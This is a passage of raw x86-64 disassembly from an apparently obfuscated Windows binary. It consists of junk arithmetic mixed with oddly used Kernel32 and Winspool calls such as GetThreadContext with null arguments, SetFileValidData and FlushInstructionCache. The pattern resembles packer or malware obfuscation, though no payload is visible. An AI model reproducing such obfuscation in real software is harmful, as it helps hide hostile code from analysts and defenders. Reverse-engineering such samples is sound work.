mov qword [rsp + 0xb1e0], rax
movzx ecx, word [rsp + 0x1bac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bdc], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
shl eax, cl
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b20]
or eax, ecx
mov word [0x1401773a4], ax
mov edx, 0x68d0
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
xor eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb2b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb250], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rdx, [rsp + 0x1a1e8]
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5838], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb270]
mov rcx, qword [0x140183b38]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
mov eax, dword [rsp + 0x5898]
sub eax, 0xae
mov dword [rsp + 0x5898], eax
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5804], eax
mov eax, dword [rsp + 0x58c4]
mov dword [rsp + 0x58d0], eax
movsx eax, word [rsp + 0x1bd8]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaec]
add eax, ecx
mov word [0x140177390], ax
cmp dword [rsp + 0x5898], 0xaa7a
jae 0x14001494b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.wqceUCtI6ShAXX6QMr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb3b8], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb2b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
movsx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39d], al
movsx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b98], ax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1b94]
shl eax, cl
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b3c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5860]
add eax, 0xb8
mov dword [rsp + 0x5860], eax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb330]
mov qword [rsp + 0xb3c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x58c4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1e84
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5828], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [0x140183b38]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb188], rax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x39b]
and eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [0x140177390], ax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
add eax, ecx
mov byte [rsp + 0x3a3], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5828], eax
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5800], eax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xb320]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xb3a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x57b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb1c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f48], rax
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3a3], al
movzx eax, word [rsp + 0x1bd0]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401773a4], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21b]
xor eax, ecx
mov byte [rsp + 0x38b], al
lea rdx, [rsp + 0x1a258]
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5838], eax
cmp dword [rsp + 0x5860], 0x8c2d
jbe 0x140014e2c
movzx eax, word [0x1401773b8]
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb348]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb360], rax
mov dword [rsp + 0x58e0], 0x4a7
movzx eax, byte [rsp + 0x3a2]
mov byte [rsp + 0x3a5], al
mov rax, qword [0x1401773b0]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x492c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b94]
add eax, ecx
mov word [rsp + 0x1a2c], ax
mov eax, dword [rsp + 0x58d8]
add eax, 0x89
mov dword [rsp + 0x58d8], eax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
add eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb348]
mov rcx, qword [rsp + 0xa240]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
movzx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bcc], ax
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x58bc], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5800], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bd8], ax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb1c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb188], rax
cmp dword [rsp + 0x58d8], 0x646d
jb 0x14001513c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb340], rax
movzx eax, word [rsp + 0x1bcc]
mov dword [rsp + 0x58e4], eax
cmp dword [rsp + 0x58e4], 0
je 0x1400152e8
cmp dword [rsp + 0x58e4], 0x23f
je 0x14015a7b9
jmp 0x14015a8a7
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe8]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [0x140183b30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb138]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a1], al
mov eax, dword [rsp + 0x57c8]
movzx ecx, al
mov eax, dword [rsp + 0x58b0]
shl eax, cl
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb130]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
and eax, ecx
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [0x1401773a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48a8], eax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1bd8], ax
mov edx, 0x21aadc
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5838], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140183b48], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb44e
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
movzx ecx, word [rsp + 0x1bc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bbc], ax
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x1bd0]
movzx ecx, word [rsp + 0x1188]
and eax, ecx
mov word [rsp + 0xfe8], ax
movzx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bc4], ax
mov eax, dword [rsp + 0x5858]
sub eax, 0x3e
mov dword [rsp + 0x5858], eax
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x58b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x492c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb1c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb1e0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd1a3
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58ac], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a0], al
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x58e8], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
or eax, ecx
mov word [0x1401773bc], ax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x92c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb348]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb138], rax
movzx ecx, word [rsp + 0x1bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bdc], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb138]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb348], rax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5870], eax
movsx eax, byte [rsp + 0x39f]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x21b], al
mov eax, dword [rsp + 0x58b0]
mov ecx, dword [rsp + 0x5814]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b0], eax
mov eax, dword [rsp + 0x5834]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
cmp dword [rsp + 0x5858], 0x4b9a
ja 0x1400152e8
mov edx, 0x5edf1f
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5830], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
imul rax, qword [rsp + 0x9800]
mov qword [rsp + 0xa2c0], rax
lea rcx, str.Q8k5J_EIgcFu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1be4], ax
movzx eax, word [rsp + 0x1bc4]
mov word [0x140183b28], ax
lea rax, [0x140183b48]
mov qword [rsp + 0xb3d8], rax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x3a5]
and eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xb138]
mov qword [rsp + 0xb3e0], rax
movabs rax, 0x73a339d693aa4a
cmp qword [rsp + 0xb3e0], rax
je 0x1400158bb
movabs rax, 0x7e40dbb6ea0783
cmp qword [rsp + 0xb3e0], rax
je 0x14001579a
jmp 0x14001595b
lea rax, [rsp + 0x1b94]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xc9
lea r9, [rsp + 0xb318]
mov r8d, 0xed
mov rdx, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb310]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x588c], eax
movsx eax, word [rsp + 0x1bd8]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x140177390]
sub eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0x9f48]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb130], rax
lea rax, [rsp + 0xb198]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8a
lea rax, [rsp + 0xb140]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x57b0]
mov r8, qword [rsp + 0xb178]
mov rdx, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb328]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x58ec], eax
mov eax, dword [rsp + 0x5834]
mov ecx, dword [0x1401773a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
jmp 0x14001595b
mov rax, qword [rsp + 0xb368]
movzx ecx, al
mov rax, qword [rsp + 0xb398]
shl rax, cl
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfec]
and eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
add eax, ecx
mov word [rsp + 0x1188], ax
lea r9, [rsp + 0xb370]
mov r8d, 0x7c
mov rdx, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xb3e8]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x58c8], eax
cmp dword [rsp + 0x586c], 0xe908
jb 0x140015bc5
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x21b]
sub eax, ecx
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb398]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb130]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f48], rax
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x5894]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58d0], eax
mov eax, dword [rsp + 0x5834]
mov ecx, dword [rsp + 0x492c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
movzx eax, word [rsp + 0x1ba4]
movzx ecx, word [rsp + 0x1bc4]
and eax, ecx
mov word [rsp + 0xfe8], ax
movsx eax, word [rsp + 0xfec]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [0x140177398]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb2b0]
movzx ecx, al
mov rax, qword [rsp + 0xb368]
sar rax, cl
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b20]
xor eax, ecx
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov dword [rsp + 0x58a8], eax
mov eax, dword [rsp + 0x586c]
sub eax, 0xdd
mov dword [rsp + 0x586c], eax
mov eax, dword [rsp + 0x48a8]
mov ecx, dword [rsp + 0x5834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0x9f48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb188], rax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a3]
add eax, ecx
mov byte [0x140183b48], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa240]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb368], rax
movsx eax, byte [rsp + 0x38b]
movsx ecx, byte [rsp + 0x39a]
add eax, ecx
mov byte [rsp + 0x21b], al
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
movzx ecx, byte [rsp + 0x3a5]
sub eax, ecx
mov byte [rsp + 0x39e], al
movzx eax, word [rsp + 0x1ba4]
movzx ecx, word [rsp + 0x1188]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x492c], eax
jmp 0x14001595b
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5814], eax
mov dword [rsp + 0x58f0], 0x7ecf
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xb3f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f48]
mov rdx, qword [rsp + 0xb270]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jb 0x14015a5b6
mov rax, qword [rsp + 0xb368]
mov rcx, qword [rsp + 0xb398]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [0x1401773b8]
or eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5894]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58a8], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
and eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb250]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa240], rax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0xfec]
add eax, ecx
mov word [rsp + 0x1b98], ax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x1401773a4]
add eax, ecx
mov word [rsp + 0xaec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [rsp + 0x587c]
sub eax, 0xf3
mov dword [rsp + 0x587c], eax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb1b8]
mov qword [rsp + 0xb3f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x58a8], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x53f8]
sar eax, cl
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [0x1401773b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
xor eax, ecx
mov byte [rsp + 0x21b], al
mov edx, 0x6b70d2
mov rcx, qword [rsp + 0xb3b8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb3d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
cmp dword [rsp + 0x587c], 0x412a
ja 0x140015c56
lea rax, [rsp + 0x1bb0]
mov qword [rsp + 0xb400], rax
mov dword [rsp + 0x58f4], 0xf6ef
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [0x140183b30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb398], rax
movzx eax, byte [rsp + 0x39b]
mov byte [rsp + 0x58f8], al
cmp byte [rsp + 0x58f8], 0
je 0x140015eef
cmp byte [rsp + 0x58f8], 0x45
je 0x140015f3d
jmp 0x140015ff5
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xb348]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb1e0]
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
jmp 0x140015ff5
mov eax, dword [0x1401773a0]
mov ecx, dword [rsp + 0x5814]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b0], eax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
sub eax, ecx
mov word [rsp + 0x1a2c], ax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb348]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb138], rax
mov eax, dword [rsp + 0x5834]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xb160]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xb200]
mov r8d, dword [rax]
mov edx, dword [0x140183b44]
mov ecx, dword [rsp + 0x492c]
call fcn.14015b160
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb410], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb410]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb0f0], rax
movzx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b0], eax
mov rax, qword [rsp + 0xb130]
movzx ecx, al
mov rax, qword [rsp + 0xa2c0]
shl rax, cl
mov qword [rsp + 0x9800], rax
movsx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xb200]
mov ecx, dword [rcx]
mov eax, dword [rax]
